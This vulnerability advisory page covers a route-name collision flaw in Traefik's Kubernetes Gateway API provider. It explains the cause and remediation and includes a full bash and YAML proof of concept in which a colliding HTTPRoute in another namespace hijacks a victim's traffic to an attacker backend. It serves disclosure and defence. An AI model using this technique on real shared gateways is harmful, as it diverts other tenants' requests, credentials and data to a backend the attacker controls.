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Traefik EUVDEUVD-2026-54299

| CVE-2026-71327 HIGH
Use of Multiple Resources with Duplicate Identifier (CWE-694)
2026-08-06 https://github.com/traefik/traefik GHSA-fgjj-px3w-67xx
7.6
CVSS 4.0 · Vendor: https://github.com/traefik/traefik
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Severity by source

Vendor (https://github.com/traefik/traefik) PRIMARY
7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.2 HIGH

AC:H captures the naming-collision prerequisite; PR:L reflects required route-creation permission; S:C because a route in one namespace hijacks traffic scoped to another.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
8.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/traefik/traefik).

CVSS VectorVendor: https://github.com/traefik/traefik

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Aug 06, 2026 - 22:38 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Aug 06, 2026 - 22:22 vuln.today
cvss_changed
CVSS changed
Aug 06, 2026 - 22:22 NVD
8.2 (HIGH) 7.6 (HIGH)
Source Code Evidence Fetched
Aug 06, 2026 - 17:06 vuln.today
Analysis Generated
Aug 06, 2026 - 17:06 vuln.today
CVE Published
Aug 06, 2026 - 16:38 github-advisory
HIGH 8.2

DescriptionCVE.org

Summary

There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for HTTPRoute, GRPCRoute, TCPRoute and TLSRoute objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.25
  • https://github.com/traefik/traefik/releases/tag/v3.7.10

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective.

For example, HTTPRoutes team/a-app and team-a/app, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend.

The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules.

Details

The HTTPRoute provider creates a route key as follows:

go
routeKey := provider.Normalize(fmt.Sprintf(
	"%s-%s-%s-gw-%s-%s-ep-%s-%d",
	strings.ToLower(kindHTTPRoute),
	route.Namespace,
	route.Name,
	gatewayNamespace,
	gatewayName,
	listener.EPName,
	ri,
))

Normalize replaces non-alphanumeric runs with -, but it does not encode field lengths or otherwise preserve component boundaries:

go
func Normalize(name string) string {
	fargs := func(c rune) bool {
		return !unicode.IsLetter(c) && !unicode.IsNumber(c)
	}
	return strings.Join(strings.FieldsFunc(name, fargs), "-")
}

These distinct objects therefore have the same normalized key:

text
namespace=team,   route=a-app
namespace=team-a, route=app

httproute-team-a-app-gw-gateway-shared-ep-web-0

makeRouterName adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity.

Each Route is built into a temporary configuration and then merged into the provider-wide configuration with maps.Copy:

go
maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)

maps.Copy replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path.

Attack prerequisites

The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace.

Proof of Concept

Prerequisites:

  • a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;
  • kubectl configured for that cluster;
  • curl;
  • local TCP port 18080 available.

The following script embeds all objects used by the reproduction. It runs the official traefik:v3.7.8 image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.

bash
#!/usr/bin/env bash
set -euo pipefail

kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
  name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
  name: team
---
apiVersion: v1
kind: Namespace
metadata:
  name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-audit
  namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: traefik-route-collision-lab
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: traefik-audit
  namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: traefik-audit
  namespace: gateway
spec:
  replicas: 1
  selector:
    matchLabels:
      app: traefik-audit
  template:
    metadata:
      labels:
        app: traefik-audit
    spec:
      serviceAccountName: traefik-audit
      containers:
      - name: traefik
        image: traefik:v3.7.8
        args:
        - --entryPoints.web.address=:8000
        - --providers.kubernetesgateway=true
        - --global.checkNewVersion=false
        - --global.sendAnonymousUsage=false
        - --log.level=ERROR
        ports:
        - name: web
          containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: traefik-route-collision-lab
spec:
  controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: shared
  namespace: gateway
spec:
  gatewayClassName: traefik-route-collision-lab
  listeners:
  - name: web
    protocol: HTTP
    port: 8000
    allowedRoutes:
      namespaces:
        from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: team
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team
spec:
  selector:
    app: victim
  ports:
  - port: 80
    targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: a-app
  namespace: team
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s

kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
  >/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"

sleep 2

kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: attacker
  namespace: team-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: attacker
  template:
    metadata:
      labels:
        app: attacker
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team-a
spec:
  selector:
    app: attacker
  ports:
  - port: 80
    targetPort: 5678
YAML

kubectl -n team-a rollout status deployment/attacker --timeout=120s

kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: app
  namespace: team-a
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'after collision:  %s\n' "$RESPONSE"

kubectl get httproute -A --sort-by=.metadata.creationTimestamp

Expected output on v3.7.8:

text
before collision: VICTIM_BACKEND
after collision:  ATTACKER_BACKEND
NAMESPACE   NAME    HOSTNAMES
team        a-app   ["collision.example"]
team-a      app     ["collision.example"]

The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.

Impact

In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.

</details>

---

AnalysisAI

Cross-namespace traffic hijacking in Traefik's Kubernetes Gateway API provider allows a low-privileged tenant to redirect another namespace's HTTP, GRPC, TCP, or TLS traffic to an attacker-controlled backend. The root cause is a non-injective route identity scheme: namespaces and route names are hyphen-concatenated without field delimiters, so namespace=team/route=a-app and namespace=team-a/route=app produce the identical key httproute-team-a-app-..., and the later-loaded route silently overwrites the earlier one via maps.Copy. No public exploit identified at time of analysis as a KEV entry, but a full proof-of-concept bash script is publicly available and was verified against the official traefik:v3.7.8 image. All Traefik v3 releases prior to v3.6.25 and v3.7.10 are affected.

Technical ContextAI

Traefik is a cloud-native reverse proxy and ingress controller commonly deployed on Kubernetes. Its Kubernetes Gateway API provider (CWE-694: Use of Multiple Resources with Duplicate Identifier) constructs router and service identity keys by fmt.Sprintf-concatenating the route kind, namespace, route name, gateway namespace, gateway name, entry-point name, and rule index - all delimited with hyphens - and then running the result through a Normalize() function that replaces non-alphanumeric runs with single hyphens. Because Kubernetes names are themselves hyphen-legal, the construction is not injective: field boundaries are indistinguishable in the output. The makeRouterName function appends a hash of the routing rule (hostname + path), so when an attacker copies the victim's match rule the hash is also identical. Configuration merging uses maps.Copy, which unconditionally overwrites duplicate keys. Affected route types are HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute. CPE: pkg:go/github.com_traefik_traefik_v3 versions >=3.0.0,<3.6.25 and >=3.7.0,<3.7.10.

RemediationAI

Upgrade Traefik to v3.6.25 or v3.7.10, the patched releases confirmed at https://github.com/traefik/traefik/releases/tag/v3.6.25 and https://github.com/traefik/traefik/releases/tag/v3.7.10 respectively. The fix changes the hash suffix of generated router names to be derived from all identifying fields (route, Gateway, listener) rather than from the route rule alone, making the key construction injective. Note that the fix changes generated router, middleware, and service names, which are user-visible in the Traefik dashboard, API, access logs (RouterName/ServiceName fields), and Prometheus metrics labels - dashboards and alerting rules matching on Gateway API router or service name patterns must be updated. If immediate upgrade is not possible, a compensating control is to enforce strict namespace and route naming conventions via admission webhooks (e.g., OPA/Gatekeeper or Kyverno policies) that reject HTTPRoute/GRPCRoute names whose concatenation with their namespace could collide with any existing route - this is operationally complex and error-prone, so upgrading is strongly preferred. The patch PR is at https://github.com/traefik/traefik/pull/13580.

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Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

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EUVD-2026-54299 vulnerability details – vuln.today

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